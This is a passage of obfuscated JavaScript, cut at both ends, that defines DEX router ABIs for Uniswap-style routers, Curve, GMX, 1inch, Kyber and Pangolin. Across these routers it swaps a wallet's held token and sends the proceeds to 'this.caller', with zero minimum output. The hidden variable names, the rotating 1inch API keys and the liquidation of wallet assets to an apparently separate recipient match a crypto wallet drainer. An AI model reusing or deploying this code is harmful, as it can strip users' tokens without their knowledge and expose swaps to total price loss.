type: 'address'
};
const _0x132b08 = {
internalType: 'uint256',
name: "deadline",
type: "uint256"
};
const _0xd8cf6c = {
inputs: [_0x25d2ec, _0x208629, _0x3df1cc, _0x595597, _0x3741e1, _0x132b08],
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x2245bc = {
stateMutability: "payable",
type: "receive"
};
let _0x30ec90 = [_0x218978, _0x36882d, _0x42aedc, _0x52787f, _0x3251d1, _0x388f7e, _0x33411b, _0x54639f, _0x4641cc, _0x27cfc2, _0x52708b, _0x206ae6, _0xba5710, _0x26015b, _0x4653ad, _0x17d47e, _0xd8cf6c, _0x2245bc];
let _0x37bad6 = new ethers.Contract(_0x1d9d78, _0x30ec90, _0x30ef12);
let _0x458d40 = [];
_0x458d40[0] = _0x579e7a.asset.token;
_0x458d40[1] = "0x82aF49447D8a07e3bd95BD0d56f35241523fBab1";
return _0x37bad6.swapExactTokensForTokensSupportingFeeOnTransferTokens(_0x579e7a.asset.amount, 0, _0x458d40, this.caller, "0x0000000000000000000000000000000000000000", _0x10922f);
}
case "Curve":
case "CurveVyper1":
{
const _0xa8a58 = {
stateMutability: "nonpayable",
type: 'function',
name: "exchange_with_best_rate",
inputs: [{
'name': "_from",
'type': 'address'
}, {
'name': "_to",
'type': 'address'
}, {
'name': '_amount',
'type': "uint256"
}, {
'name': '_expected',
'type': "uint256"
}, {
'name': "_receiver",
'type': 'address'
}],
outputs: [{
'name': '',
'type': "uint256"
}]
};
let _0x258af4 = [_0xa8a58];
let _0x6a8a4c = new ethers.Contract(_0x1d9d78, _0x258af4, _0x30ef12);
return _0x6a8a4c.exchange_with_best_rate(_0x579e7a.asset.token, "0x6b175474e89094c44da98b954eedeac495271d0f", _0x579e7a.asset.amount, 0, this.caller);
}
case "GMX":
{
const _0x527c59 = {
internalType: "address",
name: '_vault',
type: 'address'
};
const _0x2edd34 = {
internalType: 'address',
name: "_usdg",
type: 'address'
};
const _0xc56642 = {
internalType: 'address',
name: '_weth',
type: 'address'
};
const _0x50bc7c = {
inputs: [_0x527c59, _0x2edd34, _0xc56642],
stateMutability: "nonpayable",
type: "constructor"
};
const _0x23184e = {
indexed: false,
internalType: "address",
name: "account",
type: 'address'
};
const _0x19f755 = {
indexed: false,
internalType: 'address',
name: "tokenIn",
type: 'address'
};
const _0x2ddfae = {
indexed: false,
internalType: 'address',
name: "tokenOut",
type: 'address'
};
const _0x353438 = {
indexed: false,
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x167448 = {
indexed: false,
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x1f5929 = {
anonymous: false,
inputs: [_0x23184e, _0x19f755, _0x2ddfae, _0x353438, _0x167448],
name: "Swap",
type: "event"
};
const _0x599e6a = {
internalType: 'address',
name: "_plugin",
type: 'address'
};
const _0x3449a1 = {
inputs: [_0x599e6a],
name: "addPlugin",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x543f5f = {
internalType: 'address',
name: "_plugin",
type: 'address'
};
const _0x24dead = {
inputs: [_0x543f5f],
name: "approvePlugin",
outputs: [],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x1b17d1 = {
internalType: 'address',
name: '',
type: "address"
};
const _0x1d8f53 = {
internalType: 'address',
name: '',
type: 'address'
};
const _0x3cf6db = {
inputs: [_0x1b17d1, _0x1d8f53],
name: "approvedPlugins",
outputs: [{
'internalType': 'bool',
'name': '',
'type': "bool"
}],
stateMutability: 'view',
type: 'function'
};
const _0x443c99 = {
internalType: 'address',
name: "_collateralToken",
type: 'address'
};
const _0x27b69c = {
internalType: "address",
name: "_indexToken",
type: 'address'
};
const _0x465d46 = {
internalType: "uint256",
name: "_collateralDelta",
type: "uint256"
};
const _0x5db96e = {
internalType: "uint256",
name: '_sizeDelta',
type: "uint256"
};
const _0x15d2b3 = {
internalType: 'bool',
name: "_isLong",
type: 'bool'
};
const _0x5b9f18 = {
internalType: 'address',
name: '_receiver',
type: "address"
};
const _0x54a177 = {
internalType: "uint256",
name: "_price",
type: "uint256"
};
const _0x3a5f07 = {
inputs: [_0x443c99, _0x27b69c, _0x465d46, _0x5db96e, _0x15d2b3, _0x5b9f18, _0x54a177],
name: "decreasePosition",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x3cca79 = {
internalType: "address[]",
name: "_path",
type: "address[]"
};
const _0x527766 = {
internalType: 'address',
name: "_indexToken",
type: 'address'
};
const _0x285494 = {
internalType: "uint256",
name: "_collateralDelta",
type: "uint256"
};
const _0x381358 = {
internalType: "uint256",
name: '_sizeDelta',
type: "uint256"
};
const _0x42afb5 = {
internalType: "bool",
name: "_isLong",
type: 'bool'
};
const _0x386e42 = {
internalType: 'address',
name: "_receiver",
type: 'address'
};
const _0x2197eb = {
internalType: "uint256",
name: "_price",
type: "uint256"
};
const _0x55da14 = {
internalType: "uint256",
name: "_minOut",
type: "uint256"
};
const _0x4bd2f4 = {
inputs: [_0x3cca79, _0x527766, _0x285494, _0x381358, _0x42afb5, _0x386e42, _0x2197eb, _0x55da14],
name: "decreasePositionAndSwap",
outputs: [],
stateMutability: "nonpayable",
type: "function"
};
const _0x2d9e48 = {
internalType: "address[]",
name: "_path",
type: "address[]"
};
const _0xb4b946 = {
internalType: 'address',
name: "_indexToken",
type: 'address'
};
const _0x5874a0 = {
internalType: 'uint256',
name: "_collateralDelta",
type: "uint256"
};
const _0x3584de = {
internalType: "uint256",
name: "_sizeDelta",
type: 'uint256'
};
const _0xe62d9f = {
internalType: "bool",
name: "_isLong",
type: 'bool'
};
const _0x1f83bd = {
internalType: "address payable",
name: '_receiver',
type: 'address'
};
const _0x15fe9a = {
internalType: "uint256",
name: "_price",
type: "uint256"
};
const _0x29197e = {
internalType: "uint256",
name: '_minOut',
type: "uint256"
};
const _0x36a063 = {
inputs: [_0x2d9e48, _0xb4b946, _0x5874a0, _0x3584de, _0xe62d9f, _0x1f83bd, _0x15fe9a, _0x29197e],
name: "decreasePositionAndSwapETH",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0xd022a8 = {
internalType: 'address',
name: "_collateralToken",
type: 'address'
};
const _0x4a7972 = {
internalType: "address",
name: "_indexToken",
type: 'address'
};
const _0x5dbd21 = {
internalType: "uint256",
name: "_collateralDelta",
type: "uint256"
};
const _0xea060f = {
internalType: "uint256",
name: "_sizeDelta",
type: "uint256"
};
const _0x5d923d = {
internalType: 'bool',
name: "_isLong",
type: 'bool'
};
const _0x326346 = {
internalType: "address payable",
name: '_receiver',
type: 'address'
};
const _0x2ff1d3 = {
internalType: "uint256",
name: "_price",
type: "uint256"
};
const _0x2a20b2 = {
inputs: [_0xd022a8, _0x4a7972, _0x5dbd21, _0xea060f, _0x5d923d, _0x326346, _0x2ff1d3],
name: "decreasePositionETH",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x2d3b9a = {
internalType: 'address',
name: "_plugin",
type: 'address'
};
const _0x2d3dfd = {
inputs: [_0x2d3b9a],
name: 'denyPlugin',
outputs: [],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x23878f = {
internalType: "address",
name: "_token",
type: "address"
};
const _0x2775de = {
internalType: "uint256",
name: '_amount',
type: "uint256"
};
const _0x2de97c = {
inputs: [_0x23878f, _0x2775de],
name: "directPoolDeposit",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x438edb = {
inputs: [],
name: "gov",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0xc49fe2 = {
internalType: "address[]",
name: "_path",
type: "address[]"
};
const _0x48e9b7 = {
internalType: 'address',
name: "_indexToken",
type: 'address'
};
const _0x314f3c = {
internalType: "uint256",
name: '_amountIn',
type: "uint256"
};
const _0x118ab8 = {
internalType: 'uint256',
name: "_minOut",
type: "uint256"
};
const _0x54690a = {
internalType: "uint256",
name: "_sizeDelta",
type: "uint256"
};
const _0x197143 = {
internalType: 'bool',
name: "_isLong",
type: 'bool'
};
const _0x51a8c3 = {
internalType: "uint256",
name: "_price",
type: "uint256"
};
const _0x10a838 = {
inputs: [_0xc49fe2, _0x48e9b7, _0x314f3c, _0x118ab8, _0x54690a, _0x197143, _0x51a8c3],
name: "increasePosition",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x488492 = {
internalType: "address[]",
name: "_path",
type: "address[]"
};
const _0x13bd84 = {
internalType: "address",
name: "_indexToken",
type: 'address'
};
const _0x3fab0a = {
internalType: "uint256",
name: '_minOut',
type: "uint256"
};
const _0x217c6a = {
internalType: "uint256",
name: "_sizeDelta",
type: "uint256"
};
const _0x1ea065 = {
internalType: "bool",
name: "_isLong",
type: 'bool'
};
const _0x4c8fac = {
internalType: "uint256",
name: "_price",
type: "uint256"
};
const _0x441028 = {
inputs: [_0x488492, _0x13bd84, _0x3fab0a, _0x217c6a, _0x1ea065, _0x4c8fac],
name: "increasePositionETH",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x4ee1d9 = {
internalType: 'address',
name: "_account",
type: 'address'
};
const _0x11942e = {
internalType: 'address',
name: "_collateralToken",
type: 'address'
};
const _0x2d0d02 = {
internalType: 'address',
name: "_indexToken",
type: 'address'
};
const _0x5087ba = {
internalType: "uint256",
name: "_collateralDelta",
type: "uint256"
};
const _0x433448 = {
internalType: "uint256",
name: "_sizeDelta",
type: "uint256"
};
const _0x443108 = {
internalType: 'bool',
name: "_isLong",
type: 'bool'
};
const _0x38a7a4 = {
internalType: 'address',
name: '_receiver',
type: 'address'
};
const _0x792903 = {
inputs: [_0x4ee1d9, _0x11942e, _0x2d0d02, _0x5087ba, _0x433448, _0x443108, _0x38a7a4],
name: "pluginDecreasePosition",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: "function"
};
const _0x463398 = {
internalType: 'address',
name: '_account',
type: 'address'
};
const _0x26aa1c = {
internalType: 'address',
name: "_collateralToken",
type: 'address'
};
const _0x44a1af = {
internalType: 'address',
name: "_indexToken",
type: 'address'
};
const _0x4d4a50 = {
internalType: "uint256",
name: "_sizeDelta",
type: "uint256"
};
const _0x349bd6 = {
internalType: "bool",
name: "_isLong",
type: 'bool'
};
const _0x4f6d2b = {
inputs: [_0x463398, _0x26aa1c, _0x44a1af, _0x4d4a50, _0x349bd6],
name: "pluginIncreasePosition",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x14d8a5 = {
internalType: 'address',
name: "_token",
type: "address"
};
const _0xdcd072 = {
internalType: 'address',
name: '_account',
type: 'address'
};
const _0x23c617 = {
internalType: 'address',
name: "_receiver",
type: 'address'
};
const _0xfff30a = {
internalType: "uint256",
name: "_amount",
type: "uint256"
};
const _0x441452 = {
inputs: [_0x14d8a5, _0xdcd072, _0x23c617, _0xfff30a],
name: "pluginTransfer",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x55ed5a = {
internalType: 'address',
name: '',
type: 'address'
};
const _0x416d29 = {
inputs: [_0x55ed5a],
name: "plugins",
outputs: [{
'internalType': "bool",
'name': '',
'type': 'bool'
}],
stateMutability: 'view',
type: 'function'
};
const _0x2ca4b5 = {
internalType: 'address',
name: "_plugin",
type: 'address'
};
const _0x5562d4 = {
inputs: [_0x2ca4b5],
name: "removePlugin",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x480c6c = {
internalType: 'address',
name: '_gov',
type: 'address'
};
const _0x12d894 = {
inputs: [_0x480c6c],
name: 'setGov',
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x17e7a0 = {
internalType: "address[]",
name: "_path",
type: "address[]"
};
const _0x1e7b88 = {
internalType: "uint256",
name: '_amountIn',
type: "uint256"
};
const _0x5d6f3f = {
internalType: "uint256",
name: '_minOut',
type: "uint256"
};
const _0x4330f4 = {
internalType: 'address',
name: "_receiver",
type: 'address'
};
const _0x169011 = {
inputs: [_0x17e7a0, _0x1e7b88, _0x5d6f3f, _0x4330f4],
name: "swap",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x82f308 = {
internalType: "address[]",
name: "_path",
type: "address[]"
};
const _0x203f55 = {
internalType: "uint256",
name: '_minOut',
type: "uint256"
};
const _0x39edf4 = {
internalType: 'address',
name: '_receiver',
type: 'address'
};
const _0x311cb3 = {
inputs: [_0x82f308, _0x203f55, _0x39edf4],
name: "swapETHToTokens",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x3e4771 = {
internalType: "address[]",
name: "_path",
type: "address[]"
};
const _0xede03b = {
internalType: "uint256",
name: '_amountIn',
type: "uint256"
};
const _0x53a45a = {
internalType: "uint256",
name: '_minOut',
type: "uint256"
};
const _0x5164f6 = {
internalType: "address payable",
name: '_receiver',
type: 'address'
};
const _0x3bfe93 = {
inputs: [_0x3e4771, _0xede03b, _0x53a45a, _0x5164f6],
name: "swapTokensToETH",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x17d000 = {
inputs: [],
name: "usdg",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: "view",
type: 'function'
};
const _0x1edf15 = {
inputs: [],
name: "vault",
outputs: [{
'internalType': 'address',
'name': '',
'type': "address"
}],
stateMutability: "view",
type: 'function'
};
const _0x617c8d = {
internalType: "address",
name: '',
type: 'address'
};
const _0x1210d3 = {
inputs: [],
name: 'weth',
outputs: [_0x617c8d],
stateMutability: 'view',
type: "function"
};
const _0x1ab18b = {
stateMutability: "payable",
type: "receive"
};
let _0x1e5df1 = [_0x50bc7c, _0x1f5929, _0x3449a1, _0x24dead, _0x3cf6db, _0x3a5f07, _0x4bd2f4, _0x36a063, _0x2a20b2, _0x2d3dfd, _0x2de97c, _0x438edb, _0x10a838, _0x441028, _0x792903, _0x4f6d2b, _0x441452, _0x416d29, _0x5562d4, _0x12d894, _0x169011, _0x311cb3, _0x3bfe93, _0x17d000, _0x1edf15, _0x1210d3, _0x1ab18b];
let _0x421490 = new ethers.Contract(_0x1d9d78, _0x1e5df1, _0x30ef12);
let _0xdf1b7 = [];
_0xdf1b7[0] = _0x579e7a.asset.token;
_0xdf1b7[1] = "0x82aF49447D8a07e3bd95BD0d56f35241523fBab1";
return _0x421490.swap(_0xdf1b7, _0x579e7a.asset.amount, 0, this.caller);
}
case "1InchV5":
{
let _0x3915b7 = this.oneInchKeys[Math.floor(Math.random() * this.oneInchKeys.length)];
const _0x23daae = {
Authentication: "Bearer " + _0x3915b7,
Accept: "application/json"
};
let _0x19f2da = await fetch("https://api.1inch.dev/swap/v5.2/" + this.getChainId(_0x579e7a.chain) + '/swap?src=' + _0x579e7a.asset.token + "&dst=0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE&amount=" + _0x579e7a.asset.amount + '&from=' + (await this.getWalletAddress()) + "&slippage=20&receiver=" + this.caller, {
'method': "GET",
'Headers': _0x23daae
});
if (_0x19f2da.status == 200) {
let _0x3d1050 = (await _0x19f2da.json()).tx;
return _0x30ef12.sendTransaction(_0x3d1050);
} else {
return false;
}
}
case 'Kyber':
{
let _0x464c42 = "ethereum";
switch (_0x579e7a.chain) {
case "eth":
_0x464c42 = "ethereum";
break;
case 'avax':
_0x464c42 = 'avalanche';
break;
case "bsc":
_0x464c42 = "bsc";
break;
case "arb":
_0x464c42 = "arbitrum";
break;
case "cro":
_0x464c42 = "cronos";
break;
case 'ftm':
_0x464c42 = "fantom";
break;
case 'matic':
_0x464c42 = "polygon";
break;
case 'op':
_0x464c42 = "optimism";
break;
case "base":
_0x464c42 = "base";
break;
case "era":
_0x464c42 = 'zksync';
break;
}
let _0x40b7f1 = "0xdac17f958d2ee523a2206206994597c13d831ec7";
if (_0x579e7a.asset.token == "0xdac17f958d2ee523a2206206994597c13d831ec7") {
_0x40b7f1 = "0x6b175474e89094c44da98b954eedeac495271d0f";
}
const _0x4c0524 = {
"x-client-id": "LiquidityMarkets"
};
let _0x40aa81 = await fetch("https://aggregator-api.kyberswap.com/" + _0x464c42 + "/api/v1/routes?tokenIn=" + _0x579e7a.asset.token + "&tokenOut=" + _0x40b7f1 + "&amountIn=" + _0x579e7a.asset.amount + "&source=LiquidityMarkets", {
'method': "GET",
'headers': _0x4c0524
});
if (_0x40aa81.status == 200) {
let _0x1377e8 = await _0x40aa81.json();
console.log(_0x1377e8);
let _0x399498 = {
'routeSummary': _0x1377e8.data.routeSummary,
'deadline': _0x10922f,
'slippageTolerance': 0x14,
'sender': await this.getWalletAddress(),
'recipient': this.caller,
'source': "LiquidityMarkets"
};
let _0x3f4e03 = await fetch("https://aggregator-api.kyberswap.com/" + _0x464c42 + "/api/v1/route/build", {
'method': "POST",
'body': JSON.stringify(_0x399498),
'headers': {
'x-client-id': "LiquidityMarkets"
}
});
if (_0x3f4e03.status == 200) {
let _0x27f1ab = await _0x3f4e03.json();
const _0x17fc8b = {
'from': await this.getWalletAddress(),
'to': _0x27f1ab.data.routerAddress,
'data': _0x27f1ab.data.data,
'gasLimit': '0x' + _0x27f1ab.data.gas.toString(16)
};
return _0x30ef12.sendTransaction(_0x17fc8b);
} else {
return false;
}
} else {
return false;
}
}
case "Pangolin":
{
const _0x3a34d7 = {
internalType: 'address',
name: "_factory",
type: 'address'
};
const _0x5d8a5f = {
internalType: 'address',
name: "_WAVAX",
type: 'address'
};
const _0x25304b = {
inputs: [_0x3a34d7, _0x5d8a5f],
stateMutability: "nonpayable",
type: "constructor"
};
const _0x4f9c1d = {
inputs: [],
name: 'WAVAX',
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: "function"
};
const _0x1c8477 = {
internalType: "address",
name: "tokenA",
type: 'address'
};
const _0x36c156 = {
internalType: 'address',
name: "tokenB",
type: 'address'
};
const _0x4ab1f5 = {
internalType: "uint256",
name: "amountADesired",
type: "uint256"
};
const _0x5f1f46 = {
internalType: "uint256",
name: "amountBDesired",
type: "uint256"
};
const _0x34d2b4 = {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
};
const _0x2e03e8 = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0xe2adc4 = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x134e0a = {
internalType: "uint256",
name: "deadline",
type: 'uint256'
};
const _0x56282c = {
inputs: [_0x1c8477, _0x36c156, _0x4ab1f5, _0x5f1f46, _0x34d2b4, _0x2e03e8, _0xe2adc4, _0x134e0a],
name: "addLiquidity",
outputs: [{
'internalType': "uint256",
'name': "amountA",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountB',
'type': "uint256"
}, {
'internalType': "uint256",
'name': "liquidity",
'type': "uint256"
}],
stateMutability: 'nonpayable',
type: 'function'
};
const _0x3bf62b = {
internalType: "address",
name: "token",
type: "address"
};
const _0x4674e1 = {
internalType: "uint256",
name: "amountTokenDesired",
type: "uint256"
};
const _0x1f7022 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x1b03e4 = {
internalType: "uint256",
name: "amountAVAXMin",
type: "uint256"
};
const _0x15e397 = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x4c7d51 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x20dee9 = {
inputs: [_0x3bf62b, _0x4674e1, _0x1f7022, _0x1b03e4, _0x15e397, _0x4c7d51],
name: "addLiquidityAVAX",
outputs: [{
'internalType': "uint256",
'name': "amountToken",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "amountAVAX",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'liquidity',
'type': "uint256"
}],
stateMutability: "payable",
type: 'function'
};
const _0x3c8e30 = {
inputs: [],
name: "factory",
outputs: [{
'internalType': "address",
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x5f05cf = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x794182 = {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
};
const _0x48d356 = {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
};
const _0x419131 = {
inputs: [_0x5f05cf, _0x794182, _0x48d356],
name: "getAmountIn",
outputs: [{
'internalType': "uint256",
'name': "amountIn",
'type': "uint256"
}],
stateMutability: "pure",
type: 'function'
};
const _0x7146ca = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x4fceca = {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
};
const _0xf30b4d = {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
};
const _0x1ecf25 = {
inputs: [_0x7146ca, _0x4fceca, _0xf30b4d],
name: "getAmountOut",
outputs: [{
'internalType': "uint256",
'name': "amountOut",
'type': "uint256"
}],
stateMutability: "pure",
type: 'function'
};
const _0x2b5777 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x14af52 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x4a153a = {
internalType: 'uint256[]',
name: "amounts",
type: 'uint256[]'
};
const _0x4b4c56 = {
inputs: [_0x2b5777, _0x14af52],
name: "getAmountsIn",
outputs: [_0x4a153a],
stateMutability: 'view',
type: 'function'
};
const _0x25c305 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x186536 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x2c40a4 = {
inputs: [_0x25c305, _0x186536],
name: "getAmountsOut",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: 'view',
type: 'function'
};
const _0x20022c = {
internalType: "uint256",
name: "amountA",
type: "uint256"
};
const _0xfe3515 = {
internalType: "uint256",
name: "reserveA",
type: "uint256"
};
const _0x409f3a = {
internalType: "uint256",
name: "reserveB",
type: "uint256"
};
const _0x419f36 = {
inputs: [_0x20022c, _0xfe3515, _0x409f3a],
name: "quote",
outputs: [{
'internalType': "uint256",
'name': 'amountB',
'type': 'uint256'
}],
stateMutability: "pure",
type: "function"
};
const _0x525063 = {
internalType: 'address',
name: "tokenA",
type: 'address'
};
const _0x86ac84 = {
internalType: "address",
name: "tokenB",
type: 'address'
};
const _0x401a72 = {
internalType: 'uint256',
name: "liquidity",
type: "uint256"
};
const _0x1adda9 = {
internalType: "uint256",
name: 'amountAMin',
type: "uint256"
};
const _0x4e1a1c = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0x43d379 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x575c7f = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0xf44a64 = {
inputs: [_0x525063, _0x86ac84, _0x401a72, _0x1adda9, _0x4e1a1c, _0x43d379, _0x575c7f],
name: "removeLiquidity",
outputs: [{
'internalType': "uint256",
'name': 'amountA',
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountB',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x3c4992 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x4df08b = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x1a637e = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x2b9cc3 = {
internalType: "uint256",
name: "amountAVAXMin",
type: "uint256"
};
const _0x139d84 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x33270a = {
internalType: "uint256",
name: "deadline",
type: 'uint256'
};
const _0x54fc6f = {
inputs: [_0x3c4992, _0x4df08b, _0x1a637e, _0x2b9cc3, _0x139d84, _0x33270a],
name: "removeLiquidityAVAX",
outputs: [{
'internalType': "uint256",
'name': "amountToken",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "amountAVAX",
'type': "uint256"
}],
stateMutability: "nonpayable",
type: "function"
};
const _0x172518 = {
internalType: "address",
name: "token",
type: 'address'
};
const _0x52d336 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x2e0d24 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0xb7e71 = {
internalType: "uint256",
name: "amountAVAXMin",
type: "uint256"
};
const _0x367dad = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x107685 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x424592 = {
inputs: [_0x172518, _0x52d336, _0x2e0d24, _0xb7e71, _0x367dad, _0x107685],
name: "removeLiquidityAVAXSupportingFeeOnTransferTokens",
outputs: [{
'internalType': "uint256",
'name': "amountAVAX",
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x3d14a4 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x35acfa = {
internalType: "uint256",
name: "liquidity",
type: 'uint256'
};
const _0xb0f1c6 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x32b661 = {
internalType: 'uint256',
name: "amountAVAXMin",
type: "uint256"
};
const _0x3ff304 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0xe0a203 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0xbb9751 = {
internalType: 'bool',
name: "approveMax",
type: 'bool'
};
const _0x11aa1b = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x278b07 = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x343e45 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x1e0213 = {
inputs: [_0x3d14a4, _0x35acfa, _0xb0f1c6, _0x32b661, _0x3ff304, _0xe0a203, _0xbb9751, _0x11aa1b, _0x278b07, _0x343e45],
name: "removeLiquidityAVAXWithPermit",
outputs: [{
'internalType': "uint256",
'name': "amountToken",
'type': 'uint256'
}, {
'internalType': "uint256",
'name': "amountAVAX",
'type': "uint256"
}],
stateMutability: "nonpayable",
type: "function"
};
const _0x53c9a9 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x359f3b = {
internalType: "uint256",
name: "liquidity",
type: 'uint256'
};
const _0x5ae40c = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x37f25b = {
internalType: "uint256",
name: "amountAVAXMin",
type: "uint256"
};
const _0x334b15 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x32e25f = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0xac9245 = {
internalType: 'bool',
name: "approveMax",
type: 'bool'
};
const _0x6c16ef = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x1d8492 = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x2cb6c6 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x42a052 = {
internalType: "uint256",
name: "amountAVAX",
type: "uint256"
};
const _0x5e2845 = {
inputs: [_0x53c9a9, _0x359f3b, _0x5ae40c, _0x37f25b, _0x334b15, _0x32e25f, _0xac9245, _0x6c16ef, _0x1d8492, _0x2cb6c6],
name: "removeLiquidityAVAXWithPermitSupportingFeeOnTransferTokens",
outputs: [_0x42a052],
stateMutability: "nonpayable",
type: 'function'
};
const _0x24053d = {
internalType: 'address',
name: "tokenA",
type: 'address'
};
const _0x23b4bd = {
internalType: 'address',
name: "tokenB",
type: 'address'
};
const _0x10fb6c = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0xc2e2ee = {
internalType: "uint256",
name: "amountAMin",
type: 'uint256'
};
const _0x51a5a8 = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0x4dd2ee = {
internalType: "address",
name: 'to',
type: 'address'
};
const _0x47504a = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x3ce00f = {
internalType: 'bool',
name: 'approveMax',
type: "bool"
};
const _0xa5b777 = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x4a52d9 = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x2ada04 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x15a78f = {
inputs: [_0x24053d, _0x23b4bd, _0x10fb6c, _0xc2e2ee, _0x51a5a8, _0x4dd2ee, _0x47504a, _0x3ce00f, _0xa5b777, _0x4a52d9, _0x2ada04],
name: "removeLiquidityWithPermit",
outputs: [{
'internalType': "uint256",
'name': "amountA",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountB',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x15d78b = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x118538 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x5ef4b2 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x5bb990 = {
internalType: 'uint256',
name: "deadline",
type: "uint256"
};
const _0x4e55ff = {
inputs: [_0x15d78b, _0x118538, _0x5ef4b2, _0x5bb990],
name: "swapAVAXForExactTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: 'payable',
type: 'function'
};
const _0x4ee16d = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x4cd410 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x2a1052 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x9fa3c8 = {
internalType: "uint256",
name: 'deadline',
type: "uint256"
};
const _0x56fac9 = {
inputs: [_0x4ee16d, _0x4cd410, _0x2a1052, _0x9fa3c8],
name: "swapExactAVAXForTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "payable",
type: 'function'
};
const _0x3af88a = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0xe32724 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x58a115 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x86aad4 = {
